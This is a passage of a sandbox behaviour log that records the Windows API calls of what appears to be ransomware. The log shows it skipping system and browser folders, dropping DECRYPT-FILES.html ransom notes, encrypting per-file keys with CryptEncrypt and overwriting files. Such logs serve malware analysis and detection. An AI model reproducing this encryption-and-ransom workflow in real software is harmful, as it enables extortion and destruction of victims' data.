lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0122.659] lstrlenA (lpString="CREATEFIBER") returned 11 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0122.659] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0122.659] lstrlenA (lpString="CREATEFILE2") returned 11 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0122.659] lstrlenA (lpString="CREATEFILEA") returned 11 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0122.659] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0122.659] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0122.659] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0122.659] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0122.659] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0122.659] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0122.660] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0122.660] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0122.660] lstrlenA (lpString="CREATEFILEW") returned 11 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0122.660] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0122.660] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0122.660] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0122.660] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0122.660] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0122.660] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0122.660] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0122.660] lstrlenA (lpString="CREATEJOBSET") returned 12 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0122.660] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0122.660] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0122.660] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0122.660] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0122.660] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0122.660] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0122.661] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0122.661] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0122.661] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0122.661] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0122.661] lstrlenA (lpString="CREATEPIPE") returned 10 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0122.661] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0122.661] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0122.661] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0122.661] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0122.661] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0122.661] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0122.661] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0122.661] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0122.661] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0122.661] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0122.661] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0122.661] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0122.661] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0122.662] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0122.662] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0122.662] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0122.662] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0122.662] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0122.662] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0122.662] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0122.662] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0122.662] lstrlenA (lpString="CREATETHREAD") returned 12 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0122.662] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0122.662] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0122.662] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0122.662] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0122.662] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0122.662] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0122.662] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0122.662] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0122.663] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.7FQ0CqF") returned 53 [0122.663] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.7FQ0CqF" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.7fq0cqf"), dwFlags=0x0) returned 1 [0122.664] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.664] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.664] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.665] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0122.665] FindClose (in: hFindFile=0x3b80e80 | out: hFindFile=0x3b80e80) returned 1 [0122.665] CloseHandle (hObject=0x528) returned 1 [0122.665] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0122.665] lstrcmpW (lpString1="1037", lpString2=".") returned 1 [0122.665] lstrcmpW (lpString1="1037", lpString2="..") returned 1 [0122.665] lstrcatW (in: lpString1="1037", lpString2="\\" | out: lpString1="1037\\") returned="1037\\" [0122.666] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1037\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0122.666] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch=":\\Windows") returned 0x0 [0122.666] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\Program Files") returned 0x0 [0122.666] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\Games\\") returned 0x0 [0122.666] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\Tor Browser\\") returned 0x0 [0122.667] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\ProgramData\\") returned 0x0 [0122.667] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0122.667] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0122.667] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0122.667] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1037\\", lpSrch="\\All Users") returned 0x0 [0122.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.667] lstrlenW (lpString="eogwkz.dat") returned 10 [0122.667] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\\\eogwkz.dat") returned 38 [0122.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1037\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0122.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.667] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0122.667] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\\\DECRYPT-FILES.html") returned 46 [0122.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1037\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0122.674] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0122.675] CloseHandle (hObject=0x470) returned 1 [0122.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.676] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1037\\*") returned="C:\\588bce7c90097ed212\\1037\\*" [0122.676] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4f5fc653, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b810c0 [0122.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0122.676] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4f5fc653, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0122.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0122.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0122.676] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5fc653, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4f5fc653, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4f5fc653, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0122.676] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0122.676] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5d658c, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4f5d658c, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4f5d658c, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0122.676] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0122.677] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0122.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.677] lstrlenW (lpString="eogwkz.dat") returned 10 [0122.677] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1037\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0122.677] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1037\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1037\\eogwkz.dat" [0122.677] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1037\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.677] CloseHandle (hObject=0x0) returned 0 [0122.677] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.678] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0122.678] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0122.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0122.678] lstrlenW (lpString="eula.rtf") returned 8 [0122.678] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1037\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0122.678] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf" [0122.678] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0122.679] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=6851) returned 1 [0122.679] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0122.679] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0122.869] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0122.870] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0122.870] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.870] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0122.870] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0122.871] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.871] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0122.871] CloseHandle (hObject=0x5f8) returned 1 [0122.871] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.871] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0122.872] CloseHandle (hObject=0x0) returned 0 [0122.872] CloseHandle (hObject=0x5f4) returned 1 [0122.873] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.873] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.874] GetTickCount () returned 0x3421b [0122.874] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.874] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0122.874] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0122.874] VirtualAlloc (lpAddress=0x0, 